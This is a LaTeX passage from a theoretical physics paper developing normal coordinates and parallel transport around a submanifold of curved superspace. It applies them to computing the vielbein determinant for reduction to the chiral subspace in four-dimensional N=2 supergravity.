[\lambda {\bm \cdot} {\mathbb J} , v^A] = \lambda^A{}_B v^B = -v^B \lambda_B{}^A
~, \qquad
[\lambda {\bm \cdot} {\mathbb J} , \omega_A] = - \omega_B \lambda^B{}_A = \lambda_A{}^B \omega_B~,
\end{eqnarray}
such that $(v) \omega := v^A \omega_A$ is invariant. Here we
have assumed that the structure group transformations preserve the
Grassmann parity $\ve$ of any tensor superfield, which requires $\ve(\lambda_A{}^B) =0$,
and the transformation parameters are defined to obey $\lambda_A{}^B = - \lambda^B{}_A$.
The covariant derivatives obey the algebra
\begin{eqnarray}
[\cD_A , \cD_B \} = T_{AB}{}^C \cD_C + R_{AB}{\bm \cdot} {\mathbb J} ~,
\end{eqnarray}
with $T_{AB}{}^C $ the torsion, and $R_{AB}$ the curvature of $\cM$.
In particular,
\begin{eqnarray}
\{\cD_A,\cD_B\}\,\omega_C=T_{AB}{}^D\cD_D\,\omega_C
+R_{AB}{}_C{}^D\, \omega_D~,
\label{torsion-curvature}
\end{eqnarray}
when acting on the one-form $\omega_A$.
It is pertinent to our consideration to recall the basic facts about parallel transport.
Let $z' \in \cM$ be a given superspace point, and $\gamma (t) = \{z^M(t)\}$ a smooth curve
in $\cM$ such that $\gamma(0) =z'$. For the tangent vector to $\gamma$ at $z(t)$, we convert
its world index into a local flat one,
\begin{eqnarray}
\zeta^A(t) := \dt{z}{}^M(t) E_M{}^A(z(t)) ~.
\label{zeta}
\end{eqnarray}
Let $v^{A'}= v^{M'} E_{M'}{}^{A'}(z')$ be a tangent vector at $z'$, $v \in T_{z'}\cM$.
Its parallel transport along $\gamma$, $v(t) \in T_{z(t)}\cM$, is defined to satisfy the equation
\begin{eqnarray}
\Big( \frac{\rm d}{{\rm d} t} + {\zeta}^B (t) \Phi_B (t) \Big) v^A(t)
=0~.
\end{eqnarray}
The parallel transport of a tensor $\cV'$ at $z'$ along the curve $\gamma (t)$ is defined similarly.
All information about parallel transport along the curve $\gamma (t)$ is encoded in the
corresponding {\it parallel displacement propagator along} $\gamma$, $I_\gamma (t) \in G$,
which is defined by the following conditions:\\
${}\qquad$(i) the parallel transport equation
\begin{eqnarray}
\Big( \frac{\rm d}{{\rm d} t} + {\zeta}^B (t) \Phi_B (t) \Big) I_\gamma(t)=0~;
\label{pt-equation}
\end{eqnarray}
${}\qquad$(ii) the initial condition
\begin{eqnarray}
I_\gamma(0) = \mathbbm{1}~.
\label{pt-initial}
\end{eqnarray}
Then, for any tensor $\cV'$ at $z'$, its parallel transport along $\gamma (t)$ is
\begin{eqnarray}
\cV(t) = D\Big( I_\gamma (t) \Big) \cV'~,
\end{eqnarray}
where $D$ is the representation of the structure group $G$ in which the tensor
transforms.\footnote{In what follows, we do not indicate explicitly the representation $D$
of the structure group,
and the matrix $D\big( I_\gamma (t) \big)$ will always be written simply as $ I_\gamma (t) $.}
As is known, a unique solution to eqs. (\ref{pt-equation}) and
(\ref{pt-initial}) is the path-ordered exponential
\begin{eqnarray}
I_\gamma(t) = {\rm P} \,{\rm e}^{-\int_\gamma \Phi}~.
\end{eqnarray}
The important feature of the equation (\ref{pt-equation}) is its invariance
under reparametrizations of the curve.
Now, let $\hat{\gamma} (t)= \{z^M(t)\}$ be a geodesic through
$z'$,
\begin{eqnarray}
\Big( \frac{\rm d}{{\rm d} t} + {\zeta}^B (t) \Phi_B (t) \Big) \zeta^A (t) =0~,
\qquad \hat{\gamma}(0) =z'~.
\label{geodesicequation}
\end{eqnarray}
For any point $z^M(t)$ on the geodesic, we define $I\big(z(t); z'\big) := I_{\hat{\gamma}}(t)$.
Since any two points $z'$ and $z$ in $\cM$ can be connected by a geodesic,
which is locally unique modulo worldline reparametrizations,
we obtain a well-defined two-point function
\begin{equation}
I(z;z') \in G ~, \qquad I(z'; z') = \mathbbm{1}~.
\end{equation}
It will be called the parallel displacement propagator.
The freedom to choose affine parametrization of the geodesic, which connects
$z'$ and $z$, can be fixed as
\begin{eqnarray}
z' = \hat{\gamma} (0)~, \qquad z = \hat{\gamma}(1)~,
\end{eqnarray}
which corresponds to the standard exponential mapping (see, e.g., \cite{Willmore}).
{}For this parametrization, we define vector two-point functions\footnote{In the case
when $\cM$ is an ordinary Riemannian manifold, in particular if $T_{AB}{}^C =0$,
one can show that $\zeta^A (z,z')=\cD^A \sigma (z,z') $ and $\zeta^{A'}(z';z) = \cD^{A'} \sigma(z,z')$,
where $\sigma(z,z') =\sigma(z',z)$ is the so-called {\it world function} coinciding with half the square
of the geodesic distance between the points $z'$ and $z$, see
\cite{Synge,DeWitt1,DeWitt2} for more detail.
In the mathematics literature, the $\sigma(z,z')$ is sometimes
referred to as the {\it distance function} \cite{Willmore}.}
\begin{subequations}
\begin{eqnarray}
\zeta^A(z;z') &:=& \zeta^A(t=1) \in T_z\cM~,
\label{zeta-tpf1}
\\
\zeta^{A'}(z';z) &:=& -\zeta^A(t=0) \in T_{z'}\cM~.
\label{zeta-tpf2}
\end{eqnarray}
\end{subequations}
These functions are related to each other as
follows:
\begin{eqnarray}
\zeta^{A}(z;z') = -\big[ I(z;z')\big]^A{}_{B'} \,\zeta^{B'}(z';z)~.
\label{vector-connect}
\end{eqnarray}
The parallel displacement propagator, $I(z;z')$, obeys the differential equations:
\begin{subequations}
\begin{eqnarray}
\zeta^B \cD_B I(z;z') &=&0~,
\label{pdp-eq1}
\\
\zeta^{B'} \cD_{B'} I(z;z') &=&0~.
\label{pdp-eq2}
\end{eqnarray}
\end{subequations}
These equations follow from (\ref{pt-equation}).
It also holds that
\begin{equation}
I(z;z') \,I(z';z) = \mathbbm{1}~.
\end{equation}
As to the two-point functions $\zeta^A(z;z') $ and $\zeta^{A'}(z';z)$,
they enjoy the following equations:
\begin{subequations}
\begin{eqnarray}
\zeta^B \cD_B \zeta^A &=&\zeta^A~,
\label{vector-tpf-1}
\\
\zeta^B \cD_B \zeta^{A'} &=& \zeta^{A'}~.
\label{vector-tpf-2}
\end{eqnarray}
\end{subequations}
To prove eq. (\ref{vector-tpf-1}),
it suffices to note that for a geodesic $z^M(t)$
passing through $z'$, $z(0) =z'$, we have
\begin{eqnarray}
\zeta^A(z(t); z') &=& t \,\zeta^A(t)~,
\end{eqnarray}
with $\zeta^A(t)$ the tangent vector to the given geodesic at $z(t)$.
Then, it only remains to use the geodesic equation
(\ref{geodesicequation}). As to equation (\ref{vector-tpf-2}),
it now follows from the relations (\ref{vector-connect}), (\ref{pdp-eq1})
and (\ref{vector-tpf-1}).
\subsection{Covariant Taylor expansion}
\label{Taylor}
Let $\cV(z)$ be a tensor superfield transforming in some representation
of the structure group. Then it can be expanded in a covariant Taylor series
of the form:
\begin{eqnarray}
I(z';z) \cV(z) =
\sum_{n=0}^{\infty} \frac{(-1)^n}{n!} \zeta^{A'_n} \dots \zeta^{A'_2} \zeta^{A'_1} \,
\cD_{A'_1} \cD_{A'_2} \dots \cD_{A'_n} \cV(z')~.
\label{Taylor1}
\end{eqnarray}
It can be justified simply by generalizing the proof given, e.g., in \cite{BV}
for the case when $\cM$ is a Riemannian manifold.
\subsection{Parallel transport around the submanifold}
\label{parallel2}
Up to now, we have considered all possible geodesics
passing through a fixed point $z' \in \cM$,
where the latter have been completely arbitrary.
${}$From now on, we turn to a more general setup. First of all,
we will restrict $z'$ to belong
to a fixed submanifold $\Sigma\equiv \Sigma^{d'|\delta'}$ of the superspace $\cM= \cM^{d|\delta}$,
with $\delta'<\delta$ or/and $d'<d$. Secondly,
we will only consider those geodesics $\hat{\gamma}(t)$
through $z'$, $\hat{\gamma}(0)=z'$, which are
transverse to $\Sigma$. To make the latter requirement more precise, we assume
in addition that the vielbein $E^A$s can be split into two disjoint subsets,
\begin{equation}
E^A = ( E^{\hat{a}}, E^{\hat{\alpha}} )~,
\end{equation}
such that the set of one-forms $E^{\hat{a}}|_{z'}$ constitutes a basis
of the cotangent space $T^*_{z'}\Sigma$ at any point $z' \in \Sigma$.
Then, the requirement that $\hat{\gamma}(t)$ be transverse to $\Sigma$,
will mean the following:
\begin{equation}
\dt{z}{}^M (0) \,E_M{}^{\hat a}(z')
=0~, \qquad z(0) =z' \in \Sigma~.
\label{normal}
\end{equation}
${}$Finally, we put forward one more technical requirement, that the structure
group $G$ acts reducibly on $E^A$s such that each of
the two subsets $E^{\hat{a}}$s ad $E^{\hat{\alpha}} $s
transforms into itself under the action of $G$.
The setup introduced here reduces to that considered in subsection \ref{parallel1}
if $\Sigma$ shrinks down to a single point $z'$.
Let $\tilde{z}^{\hat m}$ be local coordinates parametrizing
the submanifold $\Sigma$. These variables can be extended
to provide a local coordinate system $z^M = (\tilde{z}^{\hat m}, {y}^{\hat \mu})$
in the whole superspace $\cM$ in such a way
that along $\Sigma$ we have
\begin{equation}
z^M\big|_\Sigma = (\tilde{z}^{\hat m}, {y}^{\hat \mu}=0)~.
\end{equation}
Reparametrization invariance can be further used to choose
\begin{eqnarray}
E_M{}^A(z) \big|_\Sigma = \left(
\begin{array}{cc}
\cE_{\hat m}{}^{\hat a}(\tilde{z}) ~ & \cE_{\hat m}{}^{\hat \alpha}(\tilde{z}) \\
0 ~ & \delta_{\hat \mu}{}^{\hat \alpha}
\end{array}
\right) ~.
\label{coordinategauge}
\end{eqnarray}
Then, eq. (\ref{normal}) becomes
\begin{eqnarray}
\dt{z}{}^M (0) = \big(0, \dt{y}{}^{\hat \mu} (0) \big)~.
\end{eqnarray}
In terms of $\zeta^A(t)$, eq. (\ref{zeta}), this is equivalent to
\begin{eqnarray}
\zeta^A(0) = \zeta^{\hat \mu} \delta_{\hat \mu}{}^A~, \qquad
\zeta^{\hat \mu} \equiv \dt{y}^{\hat \mu} (0) ~.
\label{der}
\end{eqnarray}
It follows from the above consideration that
\begin{eqnarray}
\zeta^{\hat a}(z;z') = \zeta^{\hat{a}{}'}(z';z) = 0~.
\end{eqnarray}
As an example, let us consider a curved superspace
corresponding to four-dimensional $\cN=2$ conformal supergravity reviewed in
Appendix \ref{SCG}. It follows from the anticommutation relations (\ref{acr2})
that the vector fields\footnote{The inverse vielbein is thus $E_A =(E_{\hat a},E_{\hat \alpha})$,
where $ E_{\hat a} := (E_a, E_\alpha^i)$.}
$E_{\hat \alpha}:= {\bar E}^\ad_i$ generate an involutive distribution (see, e.g.,
\cite{Willmore} for a review of the relevant differential-geometric constructions), that is
\begin{eqnarray}
\{ {\bar E}^\ad_i ,{\bar E}^\bd_j \} = C^\ad_i{\,}^\bd_j{\,}_{\dot\gamma}^k (z) {\bar E}^{\dot\gamma}_k~.
\end{eqnarray}
Then, the Frobenius theorem (see, e.g., \cite{Willmore})
implies that one can replace the original local coordinates $z^M$
by new ones,
$\{\tilde{z}^{\hat m}, {\rho}^{\hat \mu}\}$, with the properties:
\begin{eqnarray}
E_{\hat \alpha} \tilde{z}^{\hat m}=0~,\qquad
E_{\hat \alpha} =N_{\hat \alpha}{}^{\hat \mu} (\tilde{z}, \rho) \frac{\pa}{ \pa \rho^{\hat \mu} }~,
\label{eq-chiral-1}
\end{eqnarray}
for some non-singular matrix $N_{\hat \alpha}{}^{\hat \mu}$. It is clear that covariantly chiral
scalar superfields, ${\bar \cD}^\ad_i \Phi=0$, are functions of the variables
$\tilde{z}^{\hat m} $,
$\Phi =\Phi(\tilde{z})$.
The submanifold $\Sigma$ in the above discussion will be identified
with the chiral subspace defined by the equations $\rho^{\hat \mu}=0$.
Replacing $\rho^{\hat \mu}$ by new variables $y^{\hat \mu} $ defined as
\begin{equation}
\rho^{\hat \mu} = y^{\hat \nu}\, \delta_{\hat \nu}{}^{\hat \alpha} \,N_{\hat \alpha}{}^{\hat \mu}(\tilde{z}, \rho)~,
\label{eq-chiral-2}
\end{equation}
one can see that the inverse vielbein restricted to $\Sigma$ has the form:
\begin{eqnarray}
E_A{}^M (z) \big|_\Sigma = \left(
\begin{array}{cc}
\cE_{\hat a}{}^{\hat m}(\tilde{z}) ~ & \cE_{\hat a}{}^{\hat \mu}(\tilde{z}) \\
0 ~ & \delta_{\hat \alpha}{}^{\hat \mu}
\end{array}
\right) ~.
\label{coordinategauge2}
\end{eqnarray}
This result is equivalent to (\ref{coordinategauge}).
In the example considered, the involutive distribution
generated by ${\bar E}^\ad_i$, determines all the tangent vectors
being transverse to $\Sigma$.
\subsection{Normal coordinates around the submanifold}
\label{Normal-around}
A normal coordinate system\footnote{In Riemannian geometry,
normal coordinates around a submanifold were discussed in \cite{Synge2}.}
around $\Sigma$ is defined by the following two conditions:
(i) All
geodesics, which are transverse to $\Sigma$, are straight lines.
\begin{eqnarray}
\tilde{z}^{\hat m} (t) = \tilde{z}^{\hat m} ~, \qquad
{y}^{\hat \mu} (t) = t\, \zeta^{\hat \mu} ~.
\label{NG1}
\end{eqnarray}
Such a geodesic connects the superspace points $(\tilde{z}, 0) $ and $(\tilde{z}, \zeta) $.
(ii) Fock-Schwinger (or structure group) gauge:
\begin{eqnarray}
I\big(z;z'\big) =I\big( \tilde{z}, \zeta ; \tilde{z}, 0\big) ={\mathbbm 1}~.
\label{NG2}
\end{eqnarray}
${}$For the two-point function $\zeta^A(z,z')$, eq. (\ref{zeta-tpf1}),
the condition (\ref{NG1}) implies
\begin{eqnarray}
\zeta^A(z;z') = \zeta^{\hat \mu} E_{\hat \mu}{}^A(\tilde{z}, \zeta) \equiv
\zeta^M E_M{}^A(\tilde{z},\zeta) ~, \qquad
\zeta^M:= (0, \zeta^{\hat \mu} )~.
\end{eqnarray}
${}$For the two-point function $\zeta^{A'}(z';z)$, eq. (\ref{zeta-tpf2}),
the condition (\ref{der}) gives
\begin{eqnarray}
\zeta^{A'}(z';z) = -\zeta^M \delta_M{}^A~.
\end{eqnarray}
Now, using eqs. (\ref{vector-connect}) and (\ref{NG2}) gives
\begin{eqnarray}
\zeta^M E_M{}^A(\tilde{z}, \zeta) = \zeta^M \delta_M{}^A=\zeta^{\hat \mu} \delta_{\hat \mu}{}^{\hat \alpha}~.
\label{NG3}
\end{eqnarray}
${}$Furthermore, using eqs.
(\ref{pdp-eq1})
and (\ref{NG2}) gives
\begin{eqnarray}
\zeta^A \Phi_A(\tilde{z},\zeta) {\bm \cdot} {\mathbb J}= \zeta^M \Phi_M (\tilde{z}, \zeta) {\bm \cdot} {\mathbb J}=0~.
\label{NG4}
\end{eqnarray}
The relations (\ref{NG3}) and (\ref{NG4}) are the key results for applications.\footnote{In
the zero-dimensional case when $\Sigma$ reduces to a single point $z'$,
the relations (\ref{NG3}) and (\ref{NG4}) are equivalent to those given in \cite{McA}.
In the case when $\Sigma= \Sigma^{(d,0)}$ is the bosonic body of the curved superspace
$\cM= \cM^{(d,\delta)}$, the relations (\ref{NG3}) and (\ref{NG4}) were derived in
\cite{Ts} in a different manner.} These relations did not appear in \cite{GKS}.
It is worth pointing out that eq. (\ref{NG4}) implies
\begin{equation}
\Phi_{\hat \alpha}(\tilde{z},0) {\bm \cdot} {\mathbb J}
= \Phi_{\hat \mu} (\tilde{z}, 0) {\bm \cdot} {\mathbb J}=0~,
\end{equation}
while no restriction is imposed on $\Phi_{\hat m} (\tilde{z}, 0) {\bm \cdot} {\mathbb J}$
which is the connection on $\Sigma$.
Relations (\ref{NG3}) and (\ref{NG4}) can be rewritten in terms of the operation
of interior product, $\imath_\zeta$. It is worth recalling how the latter is defined.
Given a vector field $\cV = \cV^M \pa_M = \cV^A E_A$ and a $p$-form
\begin{equation}
\Omega = \frac{1}{p!} {\rm d} z^{M_p} \dots {\rm d} z^{M_1} \Omega_{M_1 \dots M_p}
=\frac{1}{p!} E^{A_p} \dots E^{A_1} \Omega_{A_1 \dots A_p}~,
\end{equation}
the $(p-1)$-form $\imath_\cV \Omega$ is defined as
\begin{equation}
\imath_\cV \Omega
= \frac{1}{(p-1)!} {\rm d} z^{M_p} \dots {\rm d} z^{M_2} \cV^{M_1} \Omega_{M_1 \dots M_p}
=\frac{1}{(p-1)!} E^{A_p} \dots E^{A_2} \cV^{A_1}\Omega_{A_1 \dots A_p}~.
\end{equation}
Now, eqs. (\ref{NG3}) and (\ref{NG4}) can be rewritten as follows:
\begin{subequations}
\begin{eqnarray}
\imath_\zeta E^A &=& \zeta^M \delta_M{}^A=\zeta^{\hat \mu} \delta_{\hat \mu}{}^{\hat \alpha}~,
\label{NG3-inter} \\
\imath_\zeta \Phi_A{}^B &=&0~,
\label{NG4-inter}
\end{eqnarray}
\end{subequations}
with $ \Phi_A{}^B = {\rm d} z^{M} \Phi_{MA}{}^B = E^C \Phi_{CA}{}^B$ the connection
one-form.
\subsection{Structure equations}
We turn to uncovering the implications of eqs. (\ref{NG3-inter}) and
(\ref{NG4-inter}), building on the construction in Riemannian geometry
given in \cite{ABO,MSvdV}.
We start by introducing the torsion two-form
\begin{eqnarray}
T^A = \frac12 E^CE^B T_{BC}{}^A
\end{eqnarray}
and the curvature two-form
\begin{eqnarray}
R{\bm \cdot} {\mathbb J} = \frac12 E^D E^C R_{CD}{\bm \cdot} {\mathbb J}~, \qquad
[R{\bm \cdot} {\mathbb J} , \omega_A ] = R_A{}^B \omega_B
=\frac12 E^D E^C R_{CDA}{}^B \omega_B~,~~~
\end{eqnarray}
with $\omega_A$ an arbitrary one-form.
They obey the structure equations:
\begin{subequations}
\begin{eqnarray}
-T^A &=& {\rm d} E^A -E^B \Phi_B{}^A~,
\label{str-eq1} \\
R_A{}^B&=& {\rm d} \Phi_A{}^B -\Phi_A{}^C \Phi_C{}^B~.
\label{str-eq2}
\end{eqnarray}
\end{subequations}
Let us make use of the well-known differential geometric relation
\begin{equation}
L_\zeta = \imath_\zeta\, {\rm d} + {\rm d}\,\imath_\zeta~,
\label{Lie}
\end{equation}
with $L_\zeta $ the Lie derivative.
Applying both sides of
this relation to $\Phi_A{}^B$ and
using the structure equation (\ref{str-eq2}) and the gauge condition
(\ref{NG4-inter}), we obtain
\begin{eqnarray}
L_\zeta \Phi_A{}^B = \imath_\zeta R_A{}^B~.
\label{str-connection1}
\end{eqnarray}
Similarly we can evaluate $L_\zeta E^A$ to obatin
\begin{eqnarray}
L_\zeta E^A = \cD \zeta^A -\imath_\zeta T^A~,
\qquad
\cD \zeta^A :={\rm d}\zeta^A - \zeta^B \Phi_B{}^A~.
\label{str-curvature1}
\end{eqnarray}
Applying again $L_\zeta$ to both sides of (\ref{str-curvature1}) and making use
of the gauge conditions and the structure equations, one obtains
\begin{eqnarray}
(L_\zeta -1) L_\zeta E^A &=& -\cD \zeta^D \,\zeta^C T_{CD}{}^A
+ (\imath_\zeta T^D)\, \zeta^C T_{CD}{}^A
-E^D \zeta^C
L_\zeta T_{CD}{}^A \nonumber \\
&& - \zeta^B \imath_\zeta R_B{}^A~.
\label{str-curvature2}
\end{eqnarray}
Here the Lie derivative of the torsion tensor can be represented,
due to (\ref{NG4}), as
\begin{eqnarray}
L_\zeta T_{CD}{}^A = \zeta^{\hat \nu} \pa_{\hat \nu} T_{CD}{}^A
=\zeta^{\hat \beta} \cD_{\hat \beta}T_{CD}{}^A ~.
\end{eqnarray}
The Lie derivative of a one-form is
\begin{eqnarray}
L_\cV \omega_M = \cV^N \pa_N \omega_M +\big( \frac{\pa}{\pa z^M} \cV^N\big) \omega_N~,
\label{Lie2}
\end{eqnarray}
and thus
\begin{eqnarray}
L_\zeta \omega_M = \zeta^{\hat \nu} \pa_{\hat \nu} \omega_M +\delta_M{}^{\hat \nu} \omega_{\hat \nu}
\quad \Longrightarrow \quad
\left\{
\begin{array}{l}
L_\zeta \omega_{\hat m} =\zeta\cdot \pa\, \omega_{\hat m} \\
L_\zeta \omega_{\hat \mu} =(\zeta\cdot \pa +1) \omega_{\hat \mu} ~.
\end{array}
\right.
\label{Lie3}
\end{eqnarray}
The relations (\ref{str-connection1}) and (\ref{str-curvature1}),
and their corollary (\ref{str-curvature2}), allow us to reconstruct
the connection $\Phi_{MA}{}^B(\tilde{z}, \zeta)$ and the vielbein
$E_{M}{}^A(\tilde{z}, \zeta)$ as Taylor series in $\zeta$s, in which all the coefficients
(except the leading $\zeta$-independent terms)
are tensor functions of the torsion, the curvature and their covariant derivatives
evaluated at $ \zeta=0$ (of course, there also occur contributions involving the field
$ \cE_{\hat m}{}^{\hat \alpha}(\tilde{z}) $ defined in (\ref{coordinategauge})).
Indeed, consider a tensor superfield $\cV$ such as
$T_{CD}{}^A$ or $R_{CDB}{}^A$ and their covariant derivatives.
In the normal gauge, the covariant Taylor expansion, eq. (\ref{Taylor1}), becomes
\begin{eqnarray}
\cV(\tilde{z}, \zeta) &=&
\sum_{n=0}^{\infty} \frac{1}{n!} \zeta^{{\hat \alpha}_n} \dots \zeta^{{\hat \alpha}_1} \,
\cD_{{\hat \alpha}_1} \dots \cD_{{\hat \alpha}_n} \cV(\tilde{z},0)
\equiv \sum_{n=0}^{\infty} \cV^{(n)}~,
\quad \zeta\cdot \pa \cV^{(n)} =n \cV^{(n)}~,~~~~~~
\label{Taylor2}
\end{eqnarray}
with $\zeta^{\hat \alpha} \equiv \zeta^{\hat \mu} \delta_{\hat \mu}{}^{\hat \alpha}$.
Eq. (\ref{str-connection1}) can be rewritten in the component form:
\begin{eqnarray}
L_\zeta \Phi_{MA}{}^B (\tilde{z}, \zeta)= E_M{}^D (\tilde{z}, \zeta) \,\zeta^{\hat \gamma} \,
R_{{\hat \gamma} D A}{}^B (\tilde{z}, \zeta)~,
\label{str-connection2}
\end{eqnarray}
and similarly for eq. (\ref{str-curvature1})
or its corollary (\ref{str-curvature2}). Now, all tensors involved
have to be represented by covariant
Taylor series of the form (\ref{Taylor2}), while $\Phi_{MA}{}^B(\tilde{z}, \zeta)$ and
$E_{M}{}^A(\tilde{z}, \zeta)$ have to be given as ordinary Taylor series, in
particular
\begin{eqnarray}
E_M{}^A (\tilde{z}, \zeta)=
\sum_{n=0}^{\infty} \frac{1}{n!} \zeta^{ {\hat \nu}_n} \dots \zeta^{ {\hat \nu}_1} \,
\pa_{{\hat \nu}_1} \dots \pa_{{\hat \nu}_n} E_{ M }{}^A (\tilde{z},0)
\equiv \sum_{n=0}^{\infty} E^{(n)}{}_{ M }{}^A
~.
\label{Taylor3}
\end{eqnarray}
In accordance with (\ref{Lie3}), the Lie derivative $L_\zeta$ acts on
$E^{(n)}{}_{ M }{}^A$ in (\ref{Taylor3}),
which is homogeneous of $n$-th degree in $\zeta$,
as the operator of multiplication by $n$ if $M=\hat m$ or by $(n+1)$ if $M=\hat \mu$.
\subsection{Computing the determinant of the vielbein}
Of crucial importance is the explicit $\zeta$-dependence
of the determinant $E:= {\rm Ber} (E_M{}^A)$.
The simplest way to address this problem is to derive a differential equation
obeyed by $E$ that follows from the equations given in the previous section.
Using the standard identity $\delta E = (-1)^M E \, \delta E_M{}^A \, E_A{}^M$ in conjunction
with eq. (\ref{Lie3}), we obtain
\begin{eqnarray}
\zeta\cdot \pa \ln E = (-1)^M \big[ L_\zeta E_M{}^A
- \delta_M{}^{\hat \nu} E_{\hat \nu}{}^A \big] E_A{}^M~.
\end{eqnarray}
The right-hand side here can be transformed using the structure equation
(\ref{str-curvature1}) to get
\begin{eqnarray}
\zeta\cdot \pa \ln E = -(-1)^A \big[ \Phi_{A {\hat \beta} }{}^A \zeta^{\hat \beta}
+ \zeta^{\hat \beta} T_{\hat \beta A}{}^A \big]
+(-1)^{\hat \mu} \delta_{\hat \mu}{}^{\hat \alpha}
\big(E_{\hat \alpha}{}^{\hat \mu} - \delta_{\hat \alpha}{}^{\hat \mu}\big)~.
\label{E-master}
\end{eqnarray}
This is the master equation to determine the $\zeta$-dependence
of $E =E(\tilde{z}, \zeta)$ under the boundary condition
$E(\tilde{z}, 0) = \cE(\tilde{z}) $, where $\cE = {\rm Ber}
\big(\cE_{\hat m}{}^{\hat a} \big)$ is the determinant of the vielbein
on the submanifold, as introduced in eq. (\ref{coordinategauge}).
Eq. (\ref{E-master}) shows that one has to know the $\zeta$-dependence
of the connection in order to evaluate that of $E$. This result is quite nice and,
at the same time, somewhat counter-intuitive,
for one usually evaluates the vielbein only, while
the explicit structure of the connection is completely ignored. For instance,
the authors of \cite{GKS} use a more laborious approach, which is:
(i) to compute the $\zeta$-dependence of the vielbein $E_M{}^A$
by iterations; and then
(ii) to evaluate the determinant of the vielbein.
Equation (\ref{E-master}) can be rewritten in a somewhat different form
if one recalls that the structure group has been assumed to act reducibly,
that is $ \Phi_{A {\hat \beta} }{}^C = \Phi_{A {\hat \beta} }{}^{\hat \gamma}\, \delta_{\hat \gamma}{}^C$.
This gives
\begin{eqnarray}
\zeta\cdot \pa \ln E = -(-1)^{\hat \alpha} \Phi_{{\hat \alpha} {\hat \beta} }{}^{\hat \alpha} \zeta^{\hat \beta}
-(-1)^A \zeta^{\hat \beta} T_{\hat \beta A}{}^A
+(-1)^{\hat \mu} \delta_{\hat \mu}{}^{\hat \alpha}
\big(E_{\hat \alpha}{}^{\hat \mu} - \delta_{\hat \alpha}{}^{\hat \mu}\big)~.
\label{E-master2}
\end{eqnarray}
It often happens that
\begin{eqnarray}
(-1)^A T_{\hat \beta A}{}^A =0~.
\end{eqnarray}
In particular, such a situation occurs in the cases of $\cN=1$ and $\cN=2$ supergravity
when $\zeta^{\hat \alpha}$ are Grassmann coordinates.
In this case we end up with the remarkably simple equation:
\begin{eqnarray}
\zeta\cdot \pa \ln E = -(-1)^{\hat \alpha} \Phi_{{\hat \alpha} {\hat \beta} }{}^{\hat \alpha} \zeta^{\hat \beta}
+(-1)^{\hat \mu} \delta_{\hat \mu}{}^{\hat \alpha}
\big(E_{\hat \alpha}{}^{\hat \mu} - \delta_{\hat \alpha}{}^{\hat \mu}\big)~.
\label{E-master3}
\end{eqnarray}
\section{Reduction to chiral subspace in $\cN=2$ supergravity }
\setcounter{equation}{0}
As an illustration of
the normal coordinate techniques developed in
section 2, here we apply the scheme to the case when
$\cM$ is the curved 4D $\cN=2$ superspace as defined in Appendix A,
and $\Sigma$ its chiral subspace.
All the relevant information regarding the chiral subspace
can be found at the end of subsection 2.3.
Our goal is to reduce an integral over the full superspace,
$\int {\rm d}^4 x \,{\rm d}^4\theta{\rm d}^4{\bar \theta}\,E\, U$,
to that over the chiral subspace, for any scalar and isoscalar superfield $U$.
In this section we continue to use the ``hat'' index notation, which was introduced in
section 2, as much as possible, keeping in mind that,
for instance, $\cD_{\hat \alpha}:= {\bar \cD}^\ad_i$.
We also use the notation (\ref{Taylor2}),
with $ \cV^{(n)}$ denoting the $n$-th level of the $\zeta$-expansion of $\cV$.
Moreover, one more piece of notation used throughout this section
is the following: given a superfield $U(z)$, we denote
$U|=U(z)|_{\Sigma}$ to be its projection to the chiral superspace.
We focus on the computation of $E$
using equation (\ref{E-master3})
which in our case becomes
\begin{eqnarray}
\zeta\cdot \pa \ln E =
E_{\hat{\alpha}}{}^{\hat{\mu}}\Phi_{{\hat{\mu}} {\hat \beta} }{}^{\hat \alpha} \zeta^{\hat \beta}
- \delta_{\hat \mu}{}^{\hat \alpha}
\big(E_{\hat \alpha}{}^{\hat \mu} - \delta_{\hat \alpha}{}^{\hat \mu}\big)~.
\label{E-master3-chiral}
\end{eqnarray}
One should bear in mind that the connection now includes both
the Lorentz and SU(2) terms, see Appendix A.
To determine the right hand side of (\ref{E-master3-chiral}) one needs
to know special components of the connection,
the vielbein and its inverse as functions of $\zeta$.
These can be found
by solving iteratively, order-by-order in powers of $\zeta$,
the equations\footnote{Equation (\ref{str-curvature1})
has to be used instead of (\ref{str-curvature2}) in order
to determine the vielbein at first order in $\zeta$.
This follows from the fact that
$(L_\zeta-1)L_\zeta E^{(1)}{}_{\hat{m}}{}^A=0$. }
(\ref{str-connection1})--(\ref{str-curvature2}).
One can notice several important simplifications
even before starting to solve eqs. (\ref{str-connection1})--(\ref{str-curvature2}).
{}First of all, equation (\ref{eq-chiral-1}) tells us that
\begin{equation}
E_{\hat{\mu}}{}^{\hat{a}}=E_{{\hat{\alpha}}}{}^{\hat{m}}=0~.
\end{equation}
Second, since the structure group does not mix up the one-forms
$E^{\hat a}$ and $E^{\hat \alpha}$, the following identities hold:
$\Phi_{\hat{a}}{}^{\hat{\beta}}=\Phi_{\hat{\alpha}}{}^{\hat{b}}=R_{\hat{a}}{}^{\hat{\beta}}=R_{\hat{\alpha}}{}^{\hat{b}}=0$.
These results imply that eqs. (\ref{str-connection1})--(\ref{str-curvature2})
allow one to evaluate
$E_{\hat{\mu}}{}^{\hat{\alpha}},\,E_{{\hat{\alpha}}}{}^{\hat{\mu}}$ and $\Phi_{\hat{\mu}}{}_{\hat{\alpha}}{}^{\hat{\beta}}$
without knowing
the other components of $E_M{}^A,\,E_A{}^M$ and $\Phi_M{}_A{}^B$.
Let us turn to evaluating $E_{\hat{\mu}}{}^{\hat{\alpha}}$ and
$\Phi_{\hat{\mu}}{}_{\hat{\alpha}}{}^{\hat{\beta}}$ using
eqs. (\ref{str-connection1})--(\ref{str-curvature2}).
According to the definition of the normal coordinate system, we have
\begin{eqnarray}
E_{\hat{\mu}}{}^{\hat{\alpha}}|=\delta_{\hat{\mu}}{}^{\hat{\alpha}}~, \qquad
E_{{\hat{\alpha}}}{}^{\hat{\mu}}|=\delta_{{\hat{\alpha}}}{}^{\hat{\mu}} ~, \qquad
\Phi_{\hat{\mu}}{}_{\hat{\alpha}}{}^{\hat{\beta}}|=0~.
\end{eqnarray}
Since $T_{\hat{\gamma}{\hat{\beta}}}{}^{\hat{\alpha}} =0$,
equation (\ref{str-curvature1}) implies that
\begin{eqnarray}
E^{(1)}{}_{\hat{\mu}}{}^{\hat{\alpha}}=0~.
\label{viel-1}
\end{eqnarray}
Next, equation (\ref{str-connection1}) has the following consequence:
\begin{eqnarray}
(\zeta\cdot\pa+1)\Phi_{\hat{\mu}}{}_{\hat{\alpha}}{}^{\hat{\beta}}&=&
